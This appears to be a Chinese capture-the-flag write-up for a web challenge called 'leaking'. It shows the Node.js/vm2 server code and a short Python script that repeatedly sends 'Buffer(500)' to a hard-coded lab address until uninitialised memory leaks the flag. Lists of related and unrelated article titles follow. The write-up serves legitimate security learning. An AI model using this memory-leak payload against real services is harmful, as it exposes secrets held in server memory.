打开网页,代码审计,通过vm能猜测是关于node.js沙箱逃逸:

"use strict";var randomstring = require("randomstring");
var express = require("express");
var {VM
} = require("vm2");
var fs = require("fs");var app = express();
var flag = require("./config.js").flagapp.get("/", function(req, res) {res.header("Content-Type", "text/plain");/*    Orange is so kind so he put the flag here. But if you can guess correctly :P    */eval("var flag_" + randomstring.generate(64) + " = \"flag{" + flag + "}\";")if (req.query.data && req.query.data.length <= 12) {var vm = new VM({timeout: 1000});console.log(req.query.data);res.send("eval ->" + vm.run(req.query.data));} else {res.send(fs.readFileSync(__filename).toString());}
});app.listen(3000, function() {console.log("listening on port 3000!");
});

用buffer():

# encoding=utf-8import requests
import time
url = 'http://111.200.241.244:53000/?data=Buffer(500)'
response = ''
while 'flag' not in response:req = requests.get(url)response = req.textprint(req.status_code)time.sleep(0.1)if 'flag{' in response:print(response)break

拿到flag:

总结:
node.js的沙箱逃逸

攻防世界Web:leaking相关推荐

  1. 攻防世界 WEB leaking

    这题考的是node.js沙箱逃逸,之前没遇到过,属于是又学到新知识了 具体看这一篇,https://juejin.cn/post/6889226643525599240 简单说一下原理吧,就是理论上沙 ...

  2. CTF:攻防世界web PART01

    写在前面: 此博客仅用于记录个人学习进度,学识浅薄,若有错误观点欢迎评论区指出.欢迎各位前来交流.(部分材料来源网络,若有侵权,立即删除) 攻防世界web PART01 baby_web Traini ...

  3. 攻防世界 web高手进阶区 9分题 favorite_number

    前言 继续ctf的旅程 开始攻防世界web高手进阶区的9分题 本文是favorite_number的writeup 解题过程 进入界面 简单的代码审计 首先是个判断,既要数组强等于,又要首元素不等 然 ...

  4. 攻防世界——web新手题

    攻防世界----web新手题 1. robots 打开题目场景,发现与robots协议有关,上网搜索robots协议的内容: Robots协议(也称为爬虫协议.机器人协议等)的全称是"网络爬 ...

  5. 攻防世界 web高手进阶区 10分题 weiphp

    前言 继续ctf的旅程 开始攻防世界web高手进阶区的10分题 本文是weiphp的writeup 解题过程 进入界面 点击 进入一个登陆界面 没有注册 那肯定得找源码了 惯例源码+御剑 发现git泄 ...

  6. 攻防世界Web第一天

    攻防世界[Web]第一天 [Web]第一题 解题步骤 总结 [Web]第一题 X老师让小宁同学查看一个网页的源代码,但小宁同学发现鼠标右键好像不管用了. 解题步骤 第一:获取在线场景,进入浏览页面. ...

  7. 攻防世界Web题 - unseping 总结

    攻防世界Web题 - unseping 总结 1.审题 进入题目,可以看出来是典型的php反序列化题目. 2.源代码分析 <?php highlight_file(__FILE__); //显示 ...

  8. 攻防世界-----web知识点总结

    WEB 一. 网页源代码的方式 在地址栏前面加上view-source,如view-source:https://www.baidu.com 浏览器的设置菜单框中使用开发者工具,也可以查看网页源代码. ...

  9. 攻防世界 web高手进阶区 8分题 Web_python_block_chain

    前言 继续ctf的旅程 开始攻防世界web高手进阶区的8分题 本文是Web_python_block_chain的writeup 解题过程 这是个区块链题 这..裂开了啊 没搞过区块链 从零开始学习 ...

  10. 攻防世界web进阶区Web_php_wrong_nginx_config详解

    攻防世界web进阶区Web_php_wrong_nginx_config详解 题目 详解 题目 打开发现无论我们输入什么他都会弹出网站建设不完全 那么我们使用御剑进行扫描,扫描到了admin和robo ...

最新文章

  1. AI 产品经理的三重门
  2. u-boot移植问题记录(一)--U_BOOT_CMD区别
  3. *【POJ - 1860】Currency Exchange (单源最长路---Bellman_Ford算法判正环)
  4. 英伟达收购交易取消后 ARM将裁员1000人
  5. 无法启动windows安全中心服务
  6. [转载] Python—urllib模块
  7. 当你只有kml/kmz格式数据时,kml/kmz批量转arcgis,属性丢失如何解决?
  8. Nexus5 破解电信关键步骤
  9. Python数学建模 空间插值
  10. SD敢达服务器源码,SD敢达全机体代码.doc
  11. PMP之SOW项目工作说明书
  12. RN style的常用布局页面属性
  13. 计算机资源管理器总是未响应,资源管理器总是无响应,而且开机很慢老是解决不了问题...
  14. 超市销售数据分析python_python实战案例:超市营业额数据分析
  15. STUN, TURN, ICE介绍
  16. 一键爬取王者荣耀全皮肤高清图片【方法一】
  17. LoadLibrary()动态调用dll失败,GetLastError()返回126
  18. python进制转换函数-Python中进制转换函数的使用
  19. Jenkins无法启动:com.michelin.cio.hudson.plugins.rolestrategy.RoleBasedAuthorizationStrategy
  20. 制作gif工具GIF Movie Gear

热门文章

  1. 【C语言基础】printf函数
  2. 计算机专业本科上线分数,计算机专业本科分数线
  3. 计算机文秘都学些什么,文秘专业主要学什么?
  4. ICG-Maleimide|吲哚菁绿-马来酰亚胺|开发共轭物
  5. 你会爬虫吗,我来教你爬海关蜀黍
  6. Python办公自动化实践1:从多个excel表中提取数据并汇总到一个工作表页中,表格,抽取,sheet
  7. 1.python自动化登录12306
  8. iOS Keychain和keychain share
  9. 诺基亚n1支持java功能_诺基亚(NOKIA)N1平板电脑按键及接口评测-ZOL中关村在线
  10. java通过schema校验xml